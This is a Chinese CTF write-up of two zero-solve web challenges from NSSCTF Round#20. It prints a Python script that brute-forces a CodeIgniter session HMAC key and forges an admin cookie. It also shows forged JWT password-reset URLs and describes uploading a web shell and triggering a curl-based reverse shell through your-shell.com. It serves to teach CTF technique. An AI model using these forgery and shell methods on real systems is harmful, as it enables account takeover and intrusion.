【Web】NSSCTF Round#20 Basic 两道0解题的赛后谈
目录
前言
baby-Codeigniter
组合拳!
前言
本想着说看看go的gin框架就睡了的,r3师傅提醒说赛题环境已经上了,那不赶紧研究下😀
主要来谈谈做题的心路历程
baby-Codeigniter
拿到题目的第一反应应该是:“什么是Codeigniter”,接着自然会去面向搜索引擎解题
在那之前,我们可以做到一些有限的事
弱口令admin 123456登录成功
但权限不够,需要super administor,自然的,我们会去看cookie
url解码后,是一段有意义的键值对+hash值
尝试将0改为1(false->true),并urlencode还原
然未果,显然结尾的hash部分是鉴权的关键,具体的密钥、算法?这些我们都不知道,需要借助搜索引擎。但大方向我们基本可以确定是session伪造了
很容易搜出P牛文章:
客户端 session 导致的安全问题 | 离别歌
接着就顺藤摸瓜找到爆破secretkey的
https://github.com/Dionach/CodeIgniterXor
但并不能爆出来🤔然后当时就卡死了啊哈哈(
后来询问出题人说用的那套源码不是xor加密,而是hash_hmac加密,前者是更低版本的加密方式
歪日,可是也没给我源码啊QWQ(
不妨在此处下个断言:“在拿到源码的条件下,只要验证信息存储在了客户端,而非服务端,都有伪造的可能。”
审计源码,找到set_cookie的逻辑
function _set_cookie($cookie_data = NULL) { if (is_null($cookie_data)) { $cookie_data = $this->userdata; } // Serialize the userdata for the cookie $cookie_data = $this->_serialize($cookie_data); if ($this->sess_encrypt_cookie == TRUE) { $cookie_data = $this->CI->encrypt->encode($cookie_data); } $cookie_data .= hash_hmac('sha1', $cookie_data, $this->encryption_key); $expire = ($this->sess_expire_on_close === TRUE) ? 0 : $this->sess_expiration + time(); // Set the cookie setcookie( $this->sess_cookie_name, $cookie_data, $expire, $this->cookie_path, $this->cookie_domain, $this->cookie_secure );
- 函数名为
_set_cookie
,它接受一个可选参数$cookie_data
,用于指定要存储在 cookie 中的会话数据。- 如果没有提供
$cookie_data
参数,函数将使用类属性$this->userdata
中的数据。- 接下来,会话数据被序列化,以便存储在 cookie 中。这是因为 cookie 只能存储字符串数据,所以需要序列化对象或数组等非字符串数据。
- 如果配置中设置了
sess_encrypt_cookie
为TRUE
,则会话数据会被加密。这通常用于提高安全性,以防止会话数据被篡改。- 接着,会话数据被附加上一个 HMAC(Hash-based Message Authentication Code),以确保数据的完整性和真实性。HMAC 是通过将密钥和数据进行哈希计算而生成的。
- 过期时间
expire
被设置为$this->sess_expire_on_close
为TRUE
时为 0,否则为当前时间加上会话过期时间。- 最后,使用
setcookie
函数来设置 cookie,包括 cookie 的名称、值、过期时间、路径、域和安全性等信息。
显然靶机这里sess_encrypt_cookie为false,那就好办了,我们可以用爆破的方式来反向推出密钥
根据上述逻辑交给gpt去写爆破脚本
import hmac
import urllib.parse
import hashlib
import timedef EncryCookie(cookie,secret):cookie = urllib.parse.unquote_plus(cookie)cookielen=len(cookie)-40cookie = cookie[:cookielen].replace('"superadmin";b:0;}','"superadmin";b:1;}')hmacstr=hmac.new(secret.encode("utf-8"),cookie.encode("utf-8"),hashlib.sha1).hexdigest()return urllib.parse.quote_plus(cookie+hmacstr)def CrackSecret(cookie,secret):cookie = urllib.parse.unquote_plus(cookie)cookielen=len(cookie)-40hmac_check = cookie[cookielen:]cookie = cookie[:cookielen]hmacstr=hmac.new(secret.encode("utf-8"),cookie.encode("utf-8"),hashlib.sha1).hexdigest()return hmac_check == hmacstrif __name__ == "__main__":cookie = "a%3A9%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%2299e46d024b833c6b5500dedf50c788b6%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%22211.83.126.36%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A111%3A%22Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F123.0.0.0+Safari%2F537.36%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1711815002%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22123456%22%3Bs%3A12%3A%22is_logged_in%22%3Bb%3A1%3Bs%3A10%3A%22superadmin%22%3Bb%3A0%3B%7D0dc8ff2053d4e55770718165801d42d106b53040"secrets = []with open("secret.txt") as f:secrets = f.readlines()starttime=time.time()for secret in secrets:secret=secret.strip("\n")result = CrackSecret(cookie,secret)if result == True:print("[+]Success:"+secret)encrycookie=EncryCookie(cookie,secret)print(encrycookie)exit(0)else:print("[-]Test:"+secret)
成功爆破出密钥为123456,并拿到伪造的session
带着修改的cookie,上传shell
连蚁剑,拿flag
组合拳!
进来弱口令没爆出admin,然后注册个账号尝试登录,显示权限过低,这不一眼垂直越权😂
还没登录进去,自然也就没有cookie,不能直接伪造
那咋整呢,可以去研究下“忘记密码”功能
拿到一段重置密码的url
http://node6.anna.nssctf.cn:28537/#/reset_token?email=2113566520@qq.com&token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMjExMzU2NjUyMEBxcS5jb20iLCJlbWFpbCI6IjIxMTM1NjY1MjBAcXEuY29tIiwidHlwZSI6M30.iyVS_MGthahgJtRcTbICgKP4tYySG8c_9h1Y6vrc9UA
分为两部分,第一部分是email地址,第二部分是一段jwt的token
关于管理员email地址,可以扫一下目录:
访问/.well-known/security.txt 得知管理员邮箱为Administrator@163.com
访问/README.md,不知道有啥用
搞定了email的问题,我们下面重点关注token
直接拖到jwt.io里去解密,很明显要把name和email分别改成admin和Administrator@163.com
jwt的密钥用jwtcrack来爆破就行,得到是APjT
再伪造下jwt
访问url
http://node6.anna.nssctf.cn:28537/#/reset_token?email=Administrator@163.com&token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJlbWFpbCI6IkFkbWluaXN0cmF0b3JAMTYzLmNvbSIsInR5cGUiOjN9.X6FS_v6PLmG4jkZib0PmJZbs4WARAWc1bQsAmBPrxQI
重置好了密码为123456
输入admin 123456成功登录
更多功能->资源下载
对任务内容base64解码后为print("hello world"),是一段py代码
我们只要给恶意命令base64编码然后更新任务即可,但抽象的是,更新的间隙足足有864000秒,即24小时,而且貌似前端还改不来🤔
提交也抓不来包,只能审js了(这里真的很不擅长,只能跟着官方wp走了
其给出的合理说法是每当更新任务时,都会调用getKey
其响应体为
关键词搜索keycode
这里的逻辑是判断keycode是否为字符串,是就跳转到 case 11 分支
在return处下断点
可以看到最后的返回值就是n和o的异或的结果,这个我们不必在意,只要知道与二者都相关就可
将反弹shell命令base64编码(经过询问出题人,直接nc或bash靶机都不支持,只能curl了)
用这个网站来弹
https://your-shell.com/
在此处下断点,可以操作局部变量n
控制台改n的值,令time为1
继续跟几步,可以看到成功修改了time
成功执行命令,反弹shell,拿到flag
相关文章:

【Web】NSSCTF Round#20 Basic 两道0解题的赛后谈
目录 前言 baby-Codeigniter 组合拳! 前言 本想着说看看go的gin框架就睡了的,r3师傅提醒说赛题环境已经上了,那不赶紧研究下😀 主要来谈谈做题的心路历程 baby-Codeigniter 拿到题目的第一反应应该是:“什么是C…...

memcached缓存数据库简介
memcached是一套分布式的高速缓存系统,由LiveJournal的Brad Fitzpatrick开发,但被许多网站使用。这是一套开放源代码软件,以BSD license授权发布。 memcached缺乏认证以及安全管制,这代表应该将memcached服务器放置在防火墙后。 …...

C# WPF编程-Application类(生命周期、程序集资源、本地化)
C# WPF编程-Application类 应用程序的生命周期创建Application对象应用程序的关闭方式应用程序事件 Application类的任务显示初始界面处理命令行参数访问当前Application对象在窗口之间进行交互 程序集资源添加资源检索资源pack URI内容文件 每个运行中的WPF应用程序都由System…...
fpga_hdmi
HDMI简介: 高清晰度多媒体端接口,通常用来连接一些音视频设备,进行高质量的传输,能够同时传输音频信号和视频信号。而且在传输速度上具有较大的优势。 通过hdmi接口进行数据传输时,不需要切换模块,或者提前设置转换。…...

鸿蒙(HarmonyOS)ArkTs语言基础教程开发准备
本文档适用于HarmonyOS应用开发的初学者。通过构建一个简单的具有页面跳转/返回功能的应用(如下图所示),快速了解工程目录的主要文件,熟悉HarmonyOS应用开发流程。 在开始之前,您需要了解有关HarmonyOS应用的一些基本概…...

【C++杂货铺】详解list容器
目录 🌈前言🌈 📁 介绍 📁 使用 📂 构造 📂 迭代器iterator 📂 capacity 📂 modifiers 📂 迭代器失效 📁 模拟实现 📂 迭代器的实现 &#x…...

使用filezilla连接Ubuntu22.04虚拟机
获取电脑IP和虚拟机IP ① 在windows下ctrlR再输入cmd,打开指令窗口,输入 ipconfig 虚拟机连接电脑用的是NAT模式,故看VMnet8的IP地址 ② 查看虚拟机IP地址 终端输入 ifconfig 如果没安装,按提示安装net-tools sudo apt install …...

Verilog基础【二】
3.1 Verilog 连续赋值 关键词:assign, 全加器 连续赋值语句是 Verilog 数据流建模的基本语句,用于对 wire 型变量进行赋值。: assign LHS_target RHS_expression ;LHS(left hand side)…...
定时推送任务 Apache HttpClient/okhttp3
定时推送任务 需求 需要定时推送我方的数据到对方那边 方法1 Apache HttpClient 此方法指定推送过去的信息转为utf-8格式的json字符串 Scheduled(initialDelay 1000 * 120, fixedDelay 1000 * 60 * 5) public void diseaseInterface() {String lockKey "lock:dise…...
centos7 安装 mysql
命令记录,未整理; 1. 下载mysql5.7的安装包,上传到linux系统某个目录中 2. 使用tar -xvf 解压 tar包 tar -xvf mysql-5.7.35-1.el7.x86_64.rpm-bundle.tar 3. 使用 rpm -ivh 安装 mysql rpm -ivh mysql-community-common-5.7.35-1.el7.x8…...

src挖掘技巧总结分享
src挖洞技术分享 src推荐刚入门的新手首选公益src如漏洞盒子、补天src,因为漏洞盒子收录范围广,只要是国内的站点都收入,相比其它src平台挖掘难度非常适合新手。后续可以尝试先从一些小的src厂商入手。 首先是熟能生巧,我一开始挖…...

【面试八股总结】传输控制协议TCP(一)
一、什么是TCP协议 TCP是传输控制协议Transmission Control Protocol TCP 是面向连接的、可靠的、基于字节流的传输层通信协议。 面向连接的:每条TCP连接杜只能有两个端点,每一条TCP连接只能是点对点的(一对一)可靠的:…...

【系统架构师】-第13章-层次式架构设计
层次式体系结构设计是将系统组成一个层次结构,每一层 为上层服务 ,并作为下层客户。 在一些层次系统中,除了一些精心挑选的输出函数外, 内部的层接口只对相邻的层可见 。 连接件通过决定层间如何交互的协议来定义,拓扑…...

【操作系统】想要更好的学习计算机,操作系统的知识必不可少!!!
操作系统的概念 导言一、日常生活中的操作系统二、计算机系统层次结构三、操作系统的定义3.1 控制和管理计算机资源3.2 组织、调度计算机的工作与资源的分配3.3 给用户和其他软件提供方便接口与环境3.4 总结 四、操作系统的目标和功能4.1 作为管理者4.1.1 处理机管理4.1.2 存储…...
AtCoder Grand Contest 066 B. Decreasing Digit Sums(构造 打表找规律)
题目 给定一个n(n<50),记f(x)是x各数位的加和,例如f(331)3317 要求输出一个x(),且对于任意i∈[1,n],均有成立 思路来源 jiangly B站讲解 题解 首先n没啥用,构造一个n50成立的case即可, 给定一个x…...
Hadoop系列总结
一、Hadoop linux基本操作 前提掌握Linux基本操作 参考 Linux基本操作-CSDN博客 1、查看hadoop指定路径下文件大小前6的文件信息 hdfs dfs[hadoop fs] -du -h /path/to/directory|sort -hr|head -n 6...

【第三方登录】Twitter
创建应用 APPID 和 相关回调配置 重新设置api key 和 api secret 设置回调和网址 还有 APP的类型 拿到ClientID 和 Client Secret 源码实现 获取Twitter 的登录地址 public function twitterUrl() {global $db,$request,$comId;require "inc/twitter_client/twitte…...
C++经典面试题目(十七)
1、请解释拷贝构造函数的作用,并说明其调用时机。 拷贝构造函数是一种特殊的构造函数,用于创建一个新对象,其内容与另一个对象相同。它将一个已存在的对象作为参数,并使用该对象的值来初始化新创建的对象。拷贝构造函数的调用时机…...
DFS2 C++
一、指数型枚举 1、题目: 从 1∼n1∼ 这 n 个整数中随机选取任意多个,输出所有可能的选择方案。 输入格式 输入一个整数 n。 输出格式 每行输出一种方案。 同一行内的数必须升序排列,相邻两个数用恰好 11 个空格隔开。 对于没有选任何…...
2021-08-06
yarn的简介: Yarn是facebook发布的一款取代npm的包管理工具。 yarn的特点: 速度超快。 Yarn 缓存了每个下载过的包,所以再次使用时无需重复下载。 同时利用并行下载以最大化资源利用率,因此安装速度更快。超级安全。 在执行代码…...

接口测试中缓存处理策略
在接口测试中,缓存处理策略是一个关键环节,直接影响测试结果的准确性和可靠性。合理的缓存处理策略能够确保测试环境的一致性,避免因缓存数据导致的测试偏差。以下是接口测试中常见的缓存处理策略及其详细说明: 一、缓存处理的核…...

idea大量爆红问题解决
问题描述 在学习和工作中,idea是程序员不可缺少的一个工具,但是突然在有些时候就会出现大量爆红的问题,发现无法跳转,无论是关机重启或者是替换root都无法解决 就是如上所展示的问题,但是程序依然可以启动。 问题解决…...

调用支付宝接口响应40004 SYSTEM_ERROR问题排查
在对接支付宝API的时候,遇到了一些问题,记录一下排查过程。 Body:{"datadigital_fincloud_generalsaas_face_certify_initialize_response":{"msg":"Business Failed","code":"40004","sub_msg…...

Mybatis逆向工程,动态创建实体类、条件扩展类、Mapper接口、Mapper.xml映射文件
今天呢,博主的学习进度也是步入了Java Mybatis 框架,目前正在逐步杨帆旗航。 那么接下来就给大家出一期有关 Mybatis 逆向工程的教学,希望能对大家有所帮助,也特别欢迎大家指点不足之处,小生很乐意接受正确的建议&…...

React19源码系列之 事件插件系统
事件类别 事件类型 定义 文档 Event Event 接口表示在 EventTarget 上出现的事件。 Event - Web API | MDN UIEvent UIEvent 接口表示简单的用户界面事件。 UIEvent - Web API | MDN KeyboardEvent KeyboardEvent 对象描述了用户与键盘的交互。 KeyboardEvent - Web…...

OPenCV CUDA模块图像处理-----对图像执行 均值漂移滤波(Mean Shift Filtering)函数meanShiftFiltering()
操作系统:ubuntu22.04 OpenCV版本:OpenCV4.9 IDE:Visual Studio Code 编程语言:C11 算法描述 在 GPU 上对图像执行 均值漂移滤波(Mean Shift Filtering),用于图像分割或平滑处理。 该函数将输入图像中的…...

GC1808高性能24位立体声音频ADC芯片解析
1. 芯片概述 GC1808是一款24位立体声音频模数转换器(ADC),支持8kHz~96kHz采样率,集成Δ-Σ调制器、数字抗混叠滤波器和高通滤波器,适用于高保真音频采集场景。 2. 核心特性 高精度:24位分辨率,…...

以光量子为例,详解量子获取方式
光量子技术获取量子比特可在室温下进行。该方式有望通过与名为硅光子学(silicon photonics)的光波导(optical waveguide)芯片制造技术和光纤等光通信技术相结合来实现量子计算机。量子力学中,光既是波又是粒子。光子本…...

基于Java+MySQL实现(GUI)客户管理系统
客户资料管理系统的设计与实现 第一章 需求分析 1.1 需求总体介绍 本项目为了方便维护客户信息为了方便维护客户信息,对客户进行统一管理,可以把所有客户信息录入系统,进行维护和统计功能。可通过文件的方式保存相关录入数据,对…...
【SSH疑难排查】轻松解决新版OpenSSH连接旧服务器的“no matching...“系列算法协商失败问题
【SSH疑难排查】轻松解决新版OpenSSH连接旧服务器的"no matching..."系列算法协商失败问题 摘要: 近期,在使用较新版本的OpenSSH客户端连接老旧SSH服务器时,会遇到 "no matching key exchange method found", "n…...